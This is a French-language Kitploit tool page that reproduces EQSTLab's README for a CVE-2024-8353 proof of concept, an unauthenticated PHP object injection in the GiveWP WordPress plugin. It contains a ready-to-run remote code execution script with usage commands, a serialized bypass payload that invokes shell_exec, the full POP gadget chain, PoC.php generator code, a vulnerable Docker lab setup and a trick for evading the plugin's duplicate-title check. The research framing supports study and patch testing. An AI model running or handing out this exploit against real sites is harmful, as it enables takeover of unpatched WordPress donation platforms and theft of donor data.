Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-8353 — GiveWP PHP Object Injection exploit | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2024-8353
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubeqstlab/cve-2024-8353

CVE-2024-8353

GiveWP PHP Object Injection exploit

Voir le dépôt
122il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Cet article est une publication de recherche de EQSTLab. Merci à cuokon, qui a découvert cette vulnérabilité.

Introduction

Analyse complémentaire de CVE-2024-5932 EQST Insight R&T (fichier PDF).

https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021

CVE-2024-8353

★ CVE-2024-8353 Preuve de concept : suppression arbitraire de fichiers et exécution de code à distance ★

Description

CVE-2024-8353 : Vulnérabilité d'injection d'objets PHP dans GiveWP

description : Le plugin givewp – plugin de dons et plateforme de collecte de fonds pour WordPress – est vulnérable à l'injection d'objets PHP dans toutes les versions jusqu'à la 3.16.1 incluse, via la désérialisation d'entrées non fiables à travers plusieurs paramètres comme give_title et card_address. Cela permet à des attaquants non authentifiés d'injecter un objet PHP. La présence supplémentaire d'une chaîne POP permet aux attaquants de supprimer des fichiers arbitraires et d'obtenir une exécution de code à distance. Il s'agit essentiellement de la même vulnérabilité que cve-2024-5932, mais il a été découvert que la présence de stripslashes_deep sur user_info permet de contourner la vérification is_serialized. Ce problème a été principalement corrigé dans la version 3.16.1, mais des renforcements supplémentaires ont été ajoutés dans la 3.16.2.

Utilisation

⚠️ Lors de l'utilisation du PoC, vous ne pouvez utiliser la même commande qu'une seule fois car « give_title » est stocké dans la base de données et vérifié pour les doublons. Dans ce cas, vous pouvez utiliser quelques astuces Linux, notamment les guillemets. Par exemple, si vous utilisez « echo », vous pouvez le réutiliser en tapant « e‘’cho ».

Clonage Git

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

Installation des paquets

root@kitploit:~
pip install -r requirements.txt

Commande

root@kitploit:~
# Remote code execution
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

Exemple

root@kitploit:~
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Sortie

CVE-2024-8353.py alt text alt text

Résultat

alt text

Environnement vulnérable

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Téléchargez ensuite le plugin GiveWP vulnérable :

https://downloads.wordpress.org/plugin/give.3.16.0.zip

3. Décompressez le fichier zip du plugin GiveWP et copiez l'intégralité du fichier dans le répertoire « /var/www/html/wp-content/plugins ».

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Activez le plugin GiveWP

alt text

5. Ajoutez un nouvel article avec le plugin GiveWP et copiez le lien de l'article

alt text

6. Vérifiez le lien vulnérable

alt text

Débogage avec PHPSTORM

Vous pouvez déboguer votre GiveWP avec PHPSTORM.

1. Téléchargez xdebug dans votre WordPress (Docker) :

root@kitploit:~
pecl install xdebug

2. Configurez ensuite le fichier php.ini de WordPress comme suit (Docker) :

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..Et vous pouvez ensuite déboguer votre WordPress.

3. Configurez PHPSTORM comme suit (local) :

alt text alt text

4. Exemple PHPSTORM (par exemple, suppression arbitraire de fichiers TCPDF)

alt text

Analyse

Point vulnérable (give/includes/process-donation.php)

Essentiellement, la séquence est la même que dans CVE-2024-5932, à la différence que la logique « is_serialized » est également ajoutée au paramètre « give_title ». La méthode détermine que s'il n'y a pas de signe deux-points (:) à l'indice 1, les données ne sont pas sérialisées.

alt text

Après la méthode « is_serialized », la fonction « stripslashes_deep » supprime l'antislash. Ainsi, l'antislash de tête () est supprimé et les données sérialisées sont transmises.

alt text

Charge utile de contournement

root@kitploit:~
\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

Chaînage POP pour RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Return command string)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Scénario d'attaque

RCE via la chaîne POP

La chaîne POP permet l'exécution de commandes à distance. alt text

URL : https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

Avertissement

Ce dépôt n'est pas destiné à être un exploit d'injection d'objets pour CVE-2024-8353. Le but de ce projet est d'aider les gens à apprendre cette vulnérabilité, et éventuellement à tester leurs propres applications.

EQST Insight

Nous publions une analyse des CVE et des malwares une fois par mois. Si vous êtes intéressé, veuillez suivre les liens ci-dessous pour consulter nos publications. https://www.skshieldus.com/eng/business/insight.do

Télécharger l’outil